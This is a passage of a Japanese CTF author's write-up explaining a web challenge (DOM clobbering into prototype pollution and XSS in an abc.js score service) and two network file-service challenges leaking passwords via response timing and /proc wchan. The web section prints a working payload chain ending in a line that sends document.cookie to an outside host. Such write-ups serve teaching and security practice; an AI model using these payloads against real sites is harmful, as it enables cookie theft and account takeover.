 f(x) = a^{32} - a^{31} + a^{30} - \cdots - a + 1 = a^{32} - a^{31}b + a^{30}b^{2} - \cdots - ab^{31} + b^{32}

です。したがって、 b=\pm 1を与えたときに x=1, 32の際のルジャンドル記号を掛け合わせると、 b=1, x=33のときの求めたいルジャンドル記号がわかります。

github.com

web

ScoreShare

問題の生い立ち

趣味がピアノなので楽譜描画ライブラリのPrototype Pollution問を出してみたかったです。abc.jsという楽譜を描画できるJavaScript向けライブラリがあり、innerHTMLを操作するコードが多かったので問題にしてみました。 DOM Clobberingを初めて勉強したこと、CSPやiframeの挙動に疎いこと、そしてサンプル楽譜のABC譜面を作るのが大変だったことなどから、たぶん今年の作問で一番時間がかかりました。しかし、残念ながら非想定解により崩壊しました。

問題概要

ABC記法の楽譜を投稿すると、HTML上で描画してくれるサービスです。また、楽譜にタイトルを付けられるのと、関連するリンクを1つ設定できます。リンクは楽譜のページでiframe中に描画されます。

著作権の問題からnyanyanyanyanyanyanya!は自分で採譜した。

解説

単体で脆弱性にはなりませんが、iframeの描画に問題があります。以下のようにJinjaを使い、iframeのsrcとnameに、それぞれリンクとタイトルが設定されます。*4

<iframe sandbox="allow-same-origin" name="{{ title }}" src="{{ link }}"></iframe>

name タグを自由に設定できるのが怖いです。 また、楽譜の描画設定を読み込む score.js にPrototype Pollutionの脆弱性があります。

    let synth = { el: '#audio' };
    if (typeof config !== 'undefined') {
        for (let i = 0; i < config.synth_options.length; i++) {
            let option = config.synth_options[i];
            if (typeof option.value === 'object') {
                if (synth[option.name] === undefined)
                    synth[option.name] = {};
                let param = synth[option.name];
                Object.getOwnPropertyNames(option.value).forEach(key => {
                    param[key] = option.value[key];
                });
            } else {
                synth[option.name] = option.value;
            }
        }
    }

ただし、 configAPIから来る値で、 app.py にハードコードされています。

DEFAULT_CONFIG = {
    'template': {
        'title': 'Nyan Cat',
        'abc': open('nyancat.abc').read(),
        'link': 'https://en.wikipedia.org/wiki/Nyan_Cat'
    },
    'synth_options': [
        {'name': 'el', 'value': '#audio'},
        {'name': 'options', 'value': {
            'displayPlay': True,
            'displayRestart': True
        }}
    ]
}

APIから設定を取ってくるコードは config.js にあります。

async function defaultConfig() {
    // Use cache if available
    if (window.config) return window.config;
    // Otherwise get config
    let promise = await fetch('/api/config');
    let config = await promise.json();
    return window.config = config;
}

window.config が存在する場合、それをキャッシュとして優先して利用していることがわかります。しかし、 iframename 属性を自由に設定できるので、「config」というタイトルの楽譜を投稿すると、iframeのDOMを参照しに行ってしまいます。

iframe はDOM clobberingに便利です。今回の設定では次のような多段iframeを同じドメインに用意することで、Prototype Pollutionに繋げられます。

(1)

<iframe name="synth_options" src="/api/score/(2のScore ID)"></iframe>

(2)

<iframe name="__proto__" src="/api/score/(3のScore ID)"></iframe>

(3)

<base href="a://neko">
<a id="value">
<a id="value" name="x" href="1">

1のHTMLを楽譜として投稿すると、該当するScore IDをHTMLとしてAPIから取得できます。したがって、APIへのURLを関連リンクに設定すると、Objectのプロトタイプに対し、 xa://neko にする汚染が発生します。

では、この汚染を利用してXSSに繋げられるでしょうか。abc.jsのコードを読むと、 innerHTML を変更するコードがいくつかあります。例えば、以下のコードは再生バーのBPMをそのまま innerHTML に入れています。

  if (hasWarp) {
    var warpTitle = options.warpTitle ? options.warpTitle : "Change the playback speed.";
    var warpAria = options.warpAria ? options.warpAria : warpTitle;
    var bpm = options.bpm ? options.bpm : "BPM";
    html += '<span class="abcjs-tempo-wrapper"><label><input class="abcjs-midi-tempo" type="number" min="1" max="300" value="100" title="' + warpTitle + '" aria-label="' + warpAria + '">%</label><span>&nbsp;(<span class="abcjs-midi-current-tempo"></span> ' + bpm + ')</span></span>\n';
  }
  html += '<div class="abcjs-css-warning" style="font-size: 12px;color:red;border: 1px solid red;text-align: center;width: 300px;margin-top: 4px;font-weight: bold;border-radius: 4px;">CSS required: load abcjs-audio.css</div>';
  html += '</div>\n';
  parent.innerHTML = html;

したがって、3のHTMLを次のようにするとXSScookieが盗めます。

(3)

<base href='a://neko<iframe srcdoc="<script src=/api/score/(4のScore ID)></script>"></iframe>'>
<a id="value">
<a id="value" name="bpm" href="1">
<a id="value" name="displayWarp" href="1">

(4)

location.href='http://<URL>/?x='+document.cookie;

github.com

非想定解について

この問題は初期の段階からあり、st98さんに作問チェックしてもらっていました。当初、楽譜描画ページにCSPをつけるとそこでXSSが発動しなくなると思っており、楽譜APIにのみ"script: 'none'"のCSPが付いていました。st98さんが全ページに自然にCSPを発明してくれたのですが、私はナマケモノなので開催前夜に修正したところ非想定解が入ってしまった次第です......

非想定解は最初のsolveが出た段階でパケットから判明していましたが、得点をロールバックする許可を得なければならないのと、そもそも想定解でもmedium-easy想定の問題だったので放置しました。その結果、「XSS botを触ってみよう」みたいな問題になりました。CSPを完全に理解するまで当面CSPに依存した問題は作らないようにします......

misc

NetFS 1

問題の生い立ち

NetFS 2の前座としてwarmupを用意しました。

問題概要

ネットワーク越しにファイルを閲覧できるサービスです。認証が付いており、管理者ユーザーのパスワードはわかりません。

LOGIN_USERS = {
    b'guest': b'guest',
    b'admin': open("secret/password.txt", "rb").read().strip()
}

また、管理者ユーザー以外は開けないようになっています。

PROTECTED = [b"server.py", b"secret"]
...
# Check filepath
if not self.is_admin and \
    any(map(lambda name: name in filepath, PROTECTED)):
  self.response(b"Permission denied.\n")
  continue

解説

パスワードの認証に脆弱性があります。

        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

ソケットからパスワードを1文字ずつ受け取っていますが、間違っている文字に到達し次第 "Incorrect password." という出力を返します。したがって、レスポンスがあるかどうかで1文字ずつパスワードをリークできます。

github.com

NetFS 2

問題の生い立ち

ある日休憩がてらprocfsを触っていると、wchanという不思議なファイルを見つけました。なんとプログラムが停止しているのがLinuxカーネル中のどの関数かを教えてくれるではありませんか。 これはもはやオラクル以外の何者でもありません。

問題概要

NetFS 1と比べて、パスワードのチェックが強化されました。

        with Timeout(5) as timer:
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                elif c != password[i:i+1]:
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                timer.wait()
                self.response(b"Incorrect password.\n")
                return

wait は次のように定義されます。

    def wait(self):
        signal.alarm(0)
        while time.time() - self.start < self.seconds:
            time.sleep(0.1)
        time.sleep(random.random())

パスワードの入力に5秒のタイムアウトがありますが、パスワードが誤っている場合も必ず「だいたい5秒」待つようになっています。

解説

同時に2つの接続を作り、片方でログインを、もう片方でゲストユーザーとしてファイルを読みます。ゲストユーザーは別のプロセスのprocfsを読めるので、procfsを使ってログイン中のプロセスの情報を得られます。

先程も書いたように、 /proc/<PID>/wchan は「待ち状態」のプロセスがなぜ待ち状態になっているのかに関する情報を教えてくれます。実験してみましょう。

terminal1$ cat -
terminal2$ cat /proc/$(ps aux | grep "cat -" | awk '{print $2}' | head -n 1)/wchan
wait_woken
terminal1$ sleep infinity
terminal2$ cat /proc/$(ps aux | grep "sleep 1234" | awk '{print $2}' | head -n 1)/wchan
hrtimer_nanosleep

read 待ちしているプロセスと、 sleep 待ちしているプロセスで結果が変わりました!したがって、タイムアウトまでの5秒が次の文字入力を待っているのかsleepで待っているのかを確認できます。

github.com

非想定解について

この問題は非想定解が怖かったので注意喚起をしていましたが、結局作問チェックを迎えることはありませんでした。

開催1時間前に現地でkeymoonさんがチェックしてくれて、2つの重大なバグを見つけたので直しました。でも、いろいろありました。はい。

おわりに

ご参加ありがとうございました。うほ

*1:GCCではサイズの小さいバッファほど低いアドレスに持っていきがちです。

*2:実際ASLRに該当する機能はなく、アドレスをランダマイズしたい場合はprofileを使う必要があります。

*3:WindowsではAPI Hashingと呼ばれるそうです。

*4:最初はsrcにタグ閉じ括弧以外の自由な文字を設定できる問題だったが、st98さんにアイデアを話したらonloadで解けることを指摘されて、作問チェック前にこっそり修正した。pwnerがweb問を作るべきではない...本当に。